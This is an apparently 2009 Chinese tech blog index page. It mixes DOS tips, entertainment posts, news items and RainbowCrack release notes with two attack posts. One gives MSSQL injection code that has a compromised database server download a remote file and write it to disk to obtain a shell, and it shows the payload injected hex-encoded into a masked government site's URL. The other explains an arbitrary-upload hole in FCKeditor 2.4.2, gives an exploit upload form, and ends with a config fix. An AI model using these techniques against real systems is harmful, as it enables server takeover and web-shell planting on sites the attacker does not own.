DOS未公开命令与参数

2009年7月25日 没有评论 87 views

dos系统中有许多未公开的命令与参数。由于dos的有好几种,所以下面仅以ms-dos为例,介绍一下常用命令中的未公开的命令与参数。经过比较,

发现在ms-dos的各版本中,7.x版中的未公开命令与参数是最多的,这些7.x版本中的未公开命令与参数在其它dos版本中通常是没有的,但却是非常

实用的,例如command /z命令,这是用dos自带的命令显示errorlevel(错误返回代码)值的唯一方法(当然,用其它的附加工具,如err2env等也可

以做到)。

dos未公开命令:

truename:用于显示实际的路径,对subst等命令很有用。
installhigh:用在config.sys中,将文件调入umb。
logo和comment:仅用在dos7中的config.sys中,用法未知。

dos未公开参数:

阅读全文...

分类: 技术文章 标签:

你女朋友值多少钱?

2009年7月24日 没有评论 169 views

你女朋友值多少钱?
一个简单的测试可能会告诉我们很多的东西。

女主持人气势咄咄的问一个男嘉宾,你为什么那么在乎钱,男嘉宾说:“钱能买到一切!”

现场的观众哗然了。

男嘉宾微笑的说:“我们做个测试吧。”
阅读全文...

分类: 影音娱乐 标签:

中国妇女禁学的印度歌曲

2009年7月24日 没有评论 914 views
分类: 影音娱乐 标签:

你TM还在等什么...

2009年7月24日 没有评论 90 views

分类: 影音娱乐 标签:

RainbowCrack 1.4 is released

2009年7月24日 没有评论 122 views

这个版本比较大的改动就是支持.rtc格式了,体积可以减小50% 到 56.25%

[July 22, 2009]RainbowCrack 1.4 is released

This version focus on more effective rainbow table file format. New features:

  • New compact rainbow table file format (.rtc) reduce rainbow table size by 50% to 56.25%
  • New rt2rtc utility convert rainbow table from raw file format (.rt) to compact file format (.rtc)
  • New rtc2rt utility convert rainbow table from compact file format (.rtc) to raw file format (.rt)
  • The rcrack/rcrack_cuda program support both .rt and .rtc rainbow table file format
  • Conversion from non-perfect to perfect rainbow table is supported by rt2rtc utility

Smaller rainbow table significantly improve table lookup performance!

下载地址:rainbowcrack-1.4-win.zip

分类: 资源共享 标签:

《成吉思汗》先知装备与技能运用

2009年7月24日 1 条评论 54 views

前言

  每个职业都有其独有的特色,在我的认知中,从没觉得任何一个职业的设定,会有多余的感觉。同样的,我也从不认为任何一个职业,就能玩到天下无敌。这是幻想,也非常不现实。

  如果一个职业,单条任何职业,皆胜!那其他职业还有必要存在吗?那装备的高低好坏、RMB的花多花少、人的精力与时间的耗多耗少,这些还有任何意义吗?特别是,现实玩家的智慧高低、操作时的快慢反应,难道这些都不是决定一个职业强弱的因数吗?

  当然,系统也与现实一样,都会存在一些不公平!但这些,并不能用来完全否认这个游戏。就像现实中明明知道存在着某些不公,但一个成功的人,绝不会去否认或者埋怨整个世界!我们能做的,就是尽量去适应,尽量在不公中挖掘新的亮点。这才是一个游戏高手或者一个成功人士应该去做的事!

  总之,还是那句老话:没有最差的职业,只有最差的玩家!——毕竟,职业是死的,而玩家却是充满智慧、活生生的人!

  正文

  之所以,第一篇选择先写“先知”,那是因为,我本人的主号,就是一个快68的先知!先知这个职业,从一开始的官方定义,就确认了他的基调:血少,单攻一般,群伤高!之前有在官网上看到有人说火枪的群输出比先知高。其实,这是一半对一半错!先知在前期的输出,确实不如火枪的输出!但从先知40级拥有“火之技能”开始。那么,火枪就该退出群输出高的舞台了。如果,再在衣服上,打个增加“火之惩戒”目标+2的荣誉宝石!那,火枪真的就是那凉快那呆着去了!当然,在这里并不是说火枪就一无是处,下篇帖子会重点讲解火枪!在这里先略过!

  如果,一定要给“先知”划分水岭的话!那40级,就是先知第一个分水岭!这个第一分水岭,让羸弱的先知,拥有了与之身体不相符的高群伤。但也只是拥有了高群伤而已,在真正的战场上,此时的先知,还是太弱了!弱到连逃跑都不会!还好,先知的第二分水岭,50级,帮你解决了这个问题!
阅读全文...

分类: 影音娱乐 标签:

来自雨林木风的Linux发行版: Ylmf Linux

2009年7月24日 没有评论 102 views

雨林木风以前是制作Windows系统安装光盘的组织,在MS反盗版的作用下,雨林木风已经转战Linux阵营,并在近期推出了基于Fedora 11的、中文友好的Linux发行版:Ylmf Linux!
阅读全文...

分类: 业界资讯 标签: ,

央视曝3305万案黑客照片 疑犯福彩机房操作

2009年7月24日 没有评论 144 views

他是谁——福彩诈骗案嫌疑人首度在央视媒体中露面;他是怎么做到的——深圳警方首次就福彩诈骗案回应案情。昨天,通过木马程序入侵深圳福彩中心电脑 篡改数据伪造3305万大奖的程某,其照片已在网上央视节目视频及博客上曝光,在以“侦查阶段不便透露”等原因拒绝了多家媒体的追访之后,深圳警方日前也透露了部分案情。

央视曝光程某照片

  昨天,记者在“《今日说法》撒贝宁博客”中,意外发现了十分清晰的嫌疑人程某照片。照片中程某背对白墙,面无表情,似乎是警方拍摄的。

  随后,记者在今年7月18日《今日说法》报道深圳福彩诈骗案的《说法周刊》节目视频中,播出了同样的一张程某照片,还播放了程某的另外一张生活照。

  据了解,程某今年31岁,软件工程师,河北省邢台市人,系深圳博众信息技术有限公司的软件工程师,博众与深圳福彩中心有长期合作关系,专业从事彩票行业IT技术研发、应用及运营服务的企业。

  木马程序自动修改彩票号
阅读全文...

分类: 业界资讯 标签: ,

CNNIC称已升级DNS系统 更改信息15分钟可生效

2009年7月24日 没有评论 47 views

7月23日,记者从CNNIC获悉,该中心7月22日完成原有DNS系统升级,今后CNNIC运维的中英文域名解析生效时间将由之前的4个小时缩短至15分钟左右.

据了解,CNNIC此次升级的包括中央主节点在内的全球9个域名顶级节点的域名解析(DNS)系统,涉及由CNNIC运维的中英文域名(英文域名包括 CN英文顶级域、6个类别域名和34个行政区域域名,中文域名包括.CN、.中国、.公司、.网络四个顶级域),升级之后,解析生效时间将由之前的4个小 时,缩短至15分钟左右.

另据部分域名注册商透露,CNNIC还将于7月25日10:00至7月26日4:00再次进行系统维护,届时将停止提供CN域名注册、中文域名注册、通用网址注册服务和注册商对帐系统,其它业务不受影响.

分类: 业界资讯 标签:

报告称美政府缺乏电脑专才 受黑客入侵束手无策

2009年7月24日 没有评论 57 views

美国一非盈利组织“公共服务伙伴关系”最近发表报告说,美国政府严重缺乏电脑专才,政府机构之间偶尔还会互相竞争,在招聘问题上意见分歧,而且官僚作风又对招聘和挽留人才形成障碍,这使美国在日益猖獗的黑客侵略行动中,处于挨打的状态。据新加坡联合早报报道,报告作者受访时说,这项分析显示,联邦政府没有积极加强电脑专才团,而且其中的协调性也不足,这些问题导致政府无力对付黑客行动。他说,这个报告显示的都是老问题。

政府部门之间在聘请人员的问题上也意见分歧。调查显示,在18个政府内外机构中产生的重重问题,大大阻碍了政府寻找人才填补空缺,更无法成立一个顶尖的电脑专才团。

报告建议联邦政府,必须大刀阔斧进行改革,设法改善政府在招聘、管理和栽培电脑人员问题上的制度。报告也提到,政府应该积极支持和鼓励在职的数理科学生联系,这将增加政府日后的电脑专才人选。

分类: 业界资讯 标签: ,

xml.http 下载拿SHELL

2009年7月24日 没有评论 95 views

注意以下语句在SA权限下执行,对于N多扩展存储过程被删除时使用效果最佳:

DECLARE
@B varbinary(8000),
@hr int,
@http INT,
@down INT
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output ;EXEC @hr = sp_oamethod @http,[Open],null,[GET],[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,[Send],null ;EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output ;EXEC @hr=sp_oacreate [ADODB.Stream],@down output ;EXEC @hr=sp_OASetProperty @down,[Type],1 ;EXEC @hr=sp_OASetProperty @down,[mode],3 ;EXEC @hr=sp_oamethod @down,[Open],null ;EXEC @hr=sp_oamethod @down,[Write],null,@B ;EXEC @hr=sp_oamethod @down,[SaveToFile],null,[保存在服务器上的绝对路径],1 ;--
将以上代码修改后转化为十六进制。然后提交:
http://www.XXXX.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8 ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--

分类: 技术文章 标签:

Fckeditor 2.4.2 php任意上传文件漏洞

2009年7月24日 没有评论 240 views

1、漏洞描述
    fckeditor/editor/filemanager/upload/php/upload.php

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* This is the "File Uploader" for PHP.
*/

require('config.php') ;
require('util.php') ;

// This is the function that sends the results of the uploading process.
function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )
{
echo '<script type="text/javascript">' ;
echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;
echo '</script>' ;
exit ;
}

// Check if this uploader has been enabled.
if ( !$Config['Enabled'] )
SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;

// Check if the file has been correctly uploaded.
if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )
SendResults( '202' ) ;

// Get the posted file.
$oFile = $_FILES['NewFile'] ;

// Get the uploaded file name extension.
$sFileName = $oFile['name'] ;

// Replace dots in the name with underscores (only one dot can be there... security issue).
if ( $Config['ForceSingleExtension'] )
$sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;

$sOriginalFileName = $sFileName ;

// Get the extension.
$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
$sExtension = strtolower( $sExtension ) ;

// The the file type (from the QueryString, by default 'File').
$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;

// Check if it is an allowed type.
if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
    SendResults( 1, '', '', 'Invalid type specified' ) ;

// Get the allowed and denied extensions arrays.
$arAllowed = $Config['AllowedExtensions'][$sType] ;
$arDenied = $Config['DeniedExtensions'][$sType] ;

// Check if it is an allowed extension.
if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
SendResults( '202' ) ;

$sErrorNumber = '0' ;
$sFileUrl   = '' ;

// Initializes the counter used to rename the file, if another one with the same name already exists.
$iCounter = 0 ;

// Get the target directory.
if ( isset( $Config['UserFilesAbsolutePath'] ) && strlen( $Config['UserFilesAbsolutePath'] ) > 0 )
$sServerDir = $Config['UserFilesAbsolutePath'] ;
else
$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;

if ( $Config['UseFileType'] )
$sServerDir .= $sType . '/' ;

while ( true )
{
// Compose the file path.
$sFilePath = $sServerDir . $sFileName ;

// If a file with that name already exists.
if ( is_file( $sFilePath ) )
{
   $iCounter++ ;
   $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
   $sErrorNumber = '201' ;
}
else
{
   move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;

   if ( is_file( $sFilePath ) )
   {
    $oldumask = umask(0) ;
    chmod( $sFilePath, 0777 ) ;
    umask( $oldumask ) ;
   }

   if ( $Config['UseFileType'] )
    $sFileUrl = $Config["UserFilesPath"] . $sType . '/' . $sFileName ;
   else
    $sFileUrl = $Config["UserFilesPath"] . $sFileName ;

   break ;
}
}

SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ;
?>

    fckeditor/editor/filemanager/upload/php/config.php

 

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the PHP File Uploader.
*/

global $Config ;

// SECURITY: You must explicitelly enable this "uploader".
$Config['Enabled'] = false ;

// Set if the file type must be considere in the target path.
// Ex: /userfiles/image/ or /userfiles/file/
$Config['UseFileType'] = false ;

// Path to uploaded files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ;

// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
// Attention: The above 'UserFilesPath' must point to the same directory.
$Config['UserFilesAbsolutePath'] = '' ;

// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config['ForceSingleExtension'] = true ;

$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;

$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;

$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;

?>

    问题主要是出在config.php文件中未对Media目录作白名单和黑名单的限制,大概是写漏了,因为在fckeditor/editor/filemanager/browser/default/connectors/php目录中的config.php文件对Media是有限制的。

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the File Manager Connector for PHP.
*/

global $Config ;

// SECURITY: You must explicitelly enable this "connector". (Set it to "true").
$Config['Enabled'] = false ;


// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ;

// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
// Attention: The above 'UserFilesPath' must point to the same directory.
$Config['UserFilesAbsolutePath'] = '' ;

// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config['ForceSingleExtension'] = true ;

$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;

$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;

$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;

$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;

?>

    2、漏洞利用
    既然fckeditor/editor /filemanager/browser/default/connectors/php/config.php已经过滤了,那就只能利用 fckeditor/editor/filemanager/upload/php/config.php了。
    不过如果留意一下改配置文件,就能看到默认情况下“$Config['Enabled'] = false”,是不允许上传的;其次,看upload.php能发现,程序对上传文件夹作了比对,必须是Media,说明在windows下不影响,但在Linux下则必须是大写M的Media目录,如果是media则返回信息正常,但文件并未上传成功。
    自己写段上传脚本:

<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

    提交后查看源码就能看到上传文件的位置。
    3、漏洞修补
    最好用新版,要不就拷贝以下代码到config.php最后。

$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;